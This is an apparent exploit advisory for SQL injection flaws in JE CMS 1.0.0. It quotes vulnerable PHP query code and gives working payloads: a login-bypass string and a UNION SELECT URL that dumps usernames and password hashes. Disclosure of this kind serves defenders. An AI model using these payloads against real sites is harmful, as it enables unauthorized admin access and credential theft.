JE CMS 1.0.0 - Bypass Authentication by SQL Injection Vulnerability



'''

  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub-28-je-cms-1-0-0-bypass-authentication-by-sql-injection-vulnerability/
'''

 
Title  : JE CMS 1.0.0 Bypass Authentication by SQL Injection Vulnerability
Affected Version : JE CMS <= 1.0.0
Vendor  Site   : joenasejes.cz.cc
Discovery : abysssec.com
  
 
Vulnerabilites :

1. Bypass Authentication by SQL Injection Vulnerability

in administrator\login.php page, lines 16-20:
if (isset($_REQUEST['username'])) {
    $username = $_REQUEST['username'];
    $password = $_REQUEST['password'];
    $result = $core->userLogin();
    
    
userLogin() function is in administrator\library\functions.php. in lines 129-139:
        if ($userName == '' || $password == '') {
            $errorMessage = JE_MISMATCH_USERNAME_PASSWORD;
        }  else {
            // check the database and see if the username and password combo do match
            $sql = "SELECT userid
                    FROM users 
                    WHERE username = '".$userName."'         // vulnerability is here
                    AND password = '".$this->getHash($password)."'    // vulnerability is here
                    AND usertype = 1
                    AND block = 0";
            $result = $this->JEQuery($sql);

POC:

in administrator/login.php:

username: admin' or '1'='1
password: admin' or '1'='1

2. SQL injection in administrator\index.php on "userid" parameter:

in administrator\index.php file line 12:
$userid            =     $_REQUEST['userid'];
lines 52-53:
    case 'edituser' :
        $user = $core->getUser($userid);
        
getUser function is in administrator\library\functions.php file. lines 578-583:

    function getUser($id){
        
        $sql = "SELECT *
                FROM users
                WHERE userid = ".$id;    // vulnerability is here
        $result = $this->JEQuery($sql);

POC:

http://site/joenas-ejes/administrator/index.php?jepage=edituser&userid=1 and 1=2 UNION SELECT 1,2,3,4,group_concat(username,0x3a,password),6,7,8,9,10,11,12 from users--